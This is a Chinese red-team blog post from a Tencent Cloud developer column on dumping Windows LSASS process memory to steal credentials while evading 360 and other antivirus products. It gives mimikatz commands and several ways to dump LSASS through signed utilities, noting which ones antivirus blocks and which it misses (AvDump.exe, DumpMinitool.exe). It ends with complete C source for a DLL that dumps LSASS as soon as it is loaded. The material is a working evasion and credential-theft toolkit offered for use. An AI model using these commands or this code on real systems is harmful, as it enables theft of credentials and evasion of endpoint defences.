前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >绕过360实现lsass转储

绕过360实现lsass转储

原创
作者头像
红队蓝军
发布2022-04-18 13:16:19
9540
发布2022-04-18 13:16:19
举报
文章被收录于专栏:红队蓝军红队蓝军

前言

获取Windows用户的凭证信息是渗透过程中至关重要的一步。

没杀软,只要有权限想怎么读就怎么读。

有杀软,得用一些特别的技巧。

注:本机所有测试均为物理机,且为最新版AV

Mimikatz直接读取Lsass进程

权限提升

代码语言:txt
复制
privilege::debug

抓取密码

代码语言:txt
复制
sekurlsa::logonpasswords
image-20220411145456534.png
image-20220411145456534.png

但如果此时目标机器上有AV,必定将收到拦截

image-20220411145304591.png
image-20220411145304591.png

此时mimikatz必须免杀。

一般来说,目标机器有杀软的存在,更倾向于离线解析密码。

白名单文件dump

首先说三个微软签名的白名单程序

  1. Procdump.exe
  2. SQLDumper.exe
  3. createdump.exe

Procdump.exe(no)

尽管procdump拥有微软签名,但大部分AV厂商对此并不买账。

image-20220411151942096.png
image-20220411151942096.png
代码语言:txt
复制
procdump.exe  -ma lsass.exe 1.txt
image-20220411151730646.png
image-20220411151730646.png

SQLDumper.exe也是一样的

createdump.exe(no)

createdump.exe随着.NET5出现的,本身是个native binary

虽然有签名同样遭到AV查杀

image-20220411153928918.png
image-20220411153928918.png
代码语言:txt
复制
createdump.exe -u -f lsass.dmp lsass[PID]
image-20220411153546445.png
image-20220411153546445.png

Rundll32.exe(no)

使用rundll32直接执行comsvcs.dll的导出函数MiniDump来Dump进程内存

代码语言:txt
复制
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id Desktop\lsass-comsvcs.dmp full

同样被查杀

image-20220411154145618.png
image-20220411154145618.png

avdump.exe(yes)

AvDump.exeAvast杀毒软件中自带的一个程序,可用于转储指定进程(lsass.exe)内存数据,它带有Avast杀软数字签名。

image-20220411154751497.png
image-20220411154751497.png

默认路径为:

代码语言:txt
复制
C:\Program Files\Avast Software\Avast
image-20220411154651575.png
image-20220411154651575.png
代码语言:txt
复制
AvDump.exe --pid 980 --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file lsass.dmp

成功dump并解密,全程数字杀软无感。

image-20220411155527628.png
image-20220411155527628.png

DumpMinitool.exe(yes)

此exe为近日mr.d0x的某推上分享了的一个LOLBIN,通过vs2022里的DumpMinitool.exe来导出lsass进程。

image-20220411160252764.png
image-20220411160252764.png

路径为:

代码语言:txt
复制
C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\Extensions\TestPlatform\Extensions
image-20220411161251476.png
image-20220411161251476.png

数字杀软全程无感

代码语言:txt
复制
DumpMinitool.exe --file 1.txt --processId 980 --dumpType Full
image-20220411161328099.png
image-20220411161328099.png

其他方式

SilentProcessExit进行Dump(no)

具体原理参考文章:利用SilentProcessExit机制dump内存

Silent Process Exit,即静默退出。而这种调试技术,可以派生 werfault.exe进程,可以用来运行任意程序或者也可以用来转存任意进程的内存文件或弹出窗口。

但该方式需要修改注册表,修改注册表操作将会被查杀。

image-20220411170407188.png
image-20220411170407188.png

编写Dump Lsass的DLL(yes)

  1. 获取Debug权限
  2. 找到lsass的PID
  3. 使用MiniDump或MiniDumpWriteDump进行内存dump
代码语言:c
复制
#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>

typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);

int GetLsassPid() {

	PROCESSENTRY32 entry;
	entry.dwSize = sizeof(PROCESSENTRY32);

	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

	if (Process32First(hSnapshot, &entry)) {
		while (Process32Next(hSnapshot, &entry)) {
			if (wcscmp(entry.szExeFile, L"lsass.exe") == 0) {
				return entry.th32ProcessID;
			}
		}
	}

	CloseHandle(hSnapshot);
	return 0;
}

void GetDebugPrivilege()
{
	BOOL fOk = FALSE;
	HANDLE hToken;
	if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
	{
		TOKEN_PRIVILEGES tp;
		tp.PrivilegeCount = 1;
		LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
		tp.Privileges[0].Attributes = true ? SE_PRIVILEGE_ENABLED : 0;
		AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
		fOk = (GetLastError() == ERROR_SUCCESS);
		CloseHandle(hToken);
	}
}

void DumpLsass()
{
	wchar_t  ws[100];
	_MiniDumpW MiniDumpW;
	
	MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
	swprintf(ws, 100, L"%u %hs", GetLsassPid(), "c:\\windows\\temp\\temp.bin full");

	GetDebugPrivilege();

	MiniDumpW(0, 0, ws);
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
		DumpLsass();
		break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

成功dump,数字杀软无感。

image-20220411172246371.png
image-20220411172246371.png

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • Mimikatz直接读取Lsass进程
  • 白名单文件dump
    • Procdump.exe(no)
      • createdump.exe(no)
        • Rundll32.exe(no)
          • avdump.exe(yes)
            • DumpMinitool.exe(yes)
            • 其他方式
              • SilentProcessExit进行Dump(no)
                • 编写Dump Lsass的DLL(yes)
                相关产品与服务
                网站渗透测试
                网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
                领券
                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档